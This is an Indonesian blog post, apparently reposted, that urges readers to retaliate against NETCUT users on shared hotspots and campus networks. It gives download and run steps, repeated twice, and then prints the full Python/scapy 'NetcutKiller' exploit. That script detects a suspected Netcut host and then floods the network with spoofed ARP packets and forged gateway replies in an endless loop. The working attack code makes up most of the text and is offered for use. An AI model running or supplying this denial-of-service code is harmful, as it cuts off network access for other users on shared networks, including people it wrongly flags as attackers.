Koneksi putus bukan menjadi sebuah dilema lagi, melainkan bisa dikarenakan beberapa sebab. Terutama di hotspot gratisan atau di warnet-warnet, ataupun di lokasi campus kalau koneksi kita lemot dan tidak bisa akses internet dengan tidak normal, mungkin salah satunya karena ada pengguna lainnya yang nakal telah menggunakan NETCUT.
Agar tidak bete karena loading lama, sekarang kita serang balik saja pengguna NETCUT tersebut.
Langkahnya adalah:
Harus sudah terdapat python compiler di komputer
Download toolsnya disini: http://1337day.com/exploits/17338
Jalankan tools tersebut dengan compile: python filenameexploit.py [ethernet] [macaddress], contoh:python netcutkiller.py eth0 A1:B2:C3:D4:E5:F6
Agar tidak bete karena loading lama, sekarang kita serang balik saja pengguna NETCUT tersebut.
Langkahnya adalah:
Harus sudah terdapat python compiler di komputer
Download toolsnya disini: http://1337day.com/exploits/17338
Jalankan tools tersebut dengan compile: python filenameexploit.py [ethernet] [macaddress], contoh:python netcutkiller.py eth0 A1:B2:C3:D4:E5:F6
Code exploitnya adalah sebagai berikut:
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#!/usr/bin/env python
#Exploit Title: Netcut Denial of Service Vulnerability
#Author: MaYaSeVeN
#Greetz: Inj3ct0r 1337day Exploit DataBase (1337day.com)
#Blog: http://mayaseven.blogspot.com
#PoC: Video http://www.youtube.com/user/mayaseven
#Picture http://3.bp.blogspot.com/-GcwpOXx7ers/TwGVoyj8SmI/AAAAAAAAAxs/wSGL1tKGflc/s1600/a.png
#Version: Netcut 2
#Software Link: http://www.mediafire.com/?jiiyq2wcpp41266
#Tested on: Windows Xp, Windows 7
#Greetz : ZeQ3uL, c1ph3r, x-c0d3, p3lo, Retool2, Gen0TypE, Windows98SE, Sumedt, Rocky Sharma
from scapy.all import sniff,Ether,ARP,RandIP,RandMAC,Padding,sendp,conf
import commands,os,sys
#gw_mac = commands.getoutput("arp -i %s | grep %s" % (conf.iface,conf.iface)).split()[2]
gw_ip = commands.getoutput("ip route list | grep default").split()[2]
def protect(gw_ip,gw_mac):
os.popen("arp -s %s %s" %(gw_ip,gw_mac))
print "Protected himself"
def detect():
ans = sniff(filter='arp',timeout=7)
target=[]
for r in ans.res:
target.append(r.sprintf("%ARP.pdst% %ARP.hwsrc% %ARP.psrc%"))
return target
def preattack(gw_ip):
num = []
count = 0
target = 0
temp = 0
print "Detecting..."
d = detect()
for i in range(len(d)):
if d[i].split()[0] == "255.255.255.255":
num.append(d.count(d[i]))
if d.count(d[i]) > count:
count = d.count(d[i])
target = i
if d[i].split()[0] == gw_ip:
temp += 1
if len(d) < 7:
print "[-] No one use Netcut or try again"
exit()
if len(num)*7 < temp:
num[:] = []
count = 0
result = float(temp)/len(d)*100
for j in range(len(d)):
if d[i].split()[0] == gw_ip:
num.append(d.count(d[j]))
if d.count(d[i]) > count:
count = d.count(d[i])
target = i
num.reverse()
result = float(temp)/len(d)*100
print target
else:
num.reverse()
result = float(num[0]+temp)/len(d)*100
print "There is a possibility that " + str(result) + "%"
if result>= 50:
target_mac = d[target].split()[1]
target_ip = d[target].split()[2]
print "[+]Detected, Netcut using by IP %s MAC %s" %(target_ip,target_mac)
attack(target_mac,target_ip,gw_ip)
else:
print "[-] No one use Netcut or try again"
def attack(target_mac,target_ip,gw_ip):
print "[+]Counter Attack !!!"
e = Ether(dst="FF:FF:FF:FF:FF:FF")
while 1:
a = ARP(psrc=RandIP(),pdst=RandIP(),hwsrc=RandMAC(),hwdst=RandMAC(),op=1)
p = e/a/Padding("\x00"*18)
sendp(p,verbose=0)
a1 = ARP(psrc=gw_ip,pdst=target_ip,hwsrc=RandMAC(),hwdst=target_mac,op=2)
p1 = e/a1/Padding("\x00"*18)
sendp(p1,verbose=0)
if __name__ == '__main__':
os.system("clear")
print "###################################################"
print " __ __ __ __ _____ __ __ _ _"
print "| \/ | \ \ / / / ____| \ \ / / | \ | |"
print "| \ / | __ \ \_/ /_ _| (___ __\ \ / /__| \| |"
print "| |\/| |/ _\ \ / _\ |\___ \ / _ \ \/ / _ \ . \ |"
print "| | | | (_| || | (_| |____) | __/\ / __/ |\ |"
print "|_| |_|\__,_||_|\__,_|_____/ \___| \/ \___|_| \_|"
print " "
print "###################################################"
print ""
print "http://mayaseven.blogspot.com"
print ""
if len(sys.argv) == 2 or len(sys.argv) == 3:
if len(sys.argv) == 2:
conf.iface=sys.argv[1]
preattack(gw_ip)
if len(sys.argv) == 3:
conf.iface=sys.argv[1]
gw_mac = sys.argv[2]
protect(gw_ip,gw_mac)
preattack(gw_ip)
else:
print '''Mode:
1.)Attack only
Usage: NetcutKiller <Interface>
e.g. NetcutKiller.py wlan0
2.)Attack with protect himself
Usage: NetcutKiller <Interface> <MAC_Gateway>
e.g. NetcutKiller.py wlan0 00:FA:77:AA:BC:AF
'''
# 1337day.com [2012-01-04]
|
Oke all, selamat mencoba dan semoga berhasil 
Sumber : http://syahleviblog.blogspot.com
Dengan Judul: MEMBALAS SERANGAN PENGGUNA NETCUT
Ditulis Oleh Mr-Y
Berikanlah saran dan kritik atas artikel ini. Terima kasih
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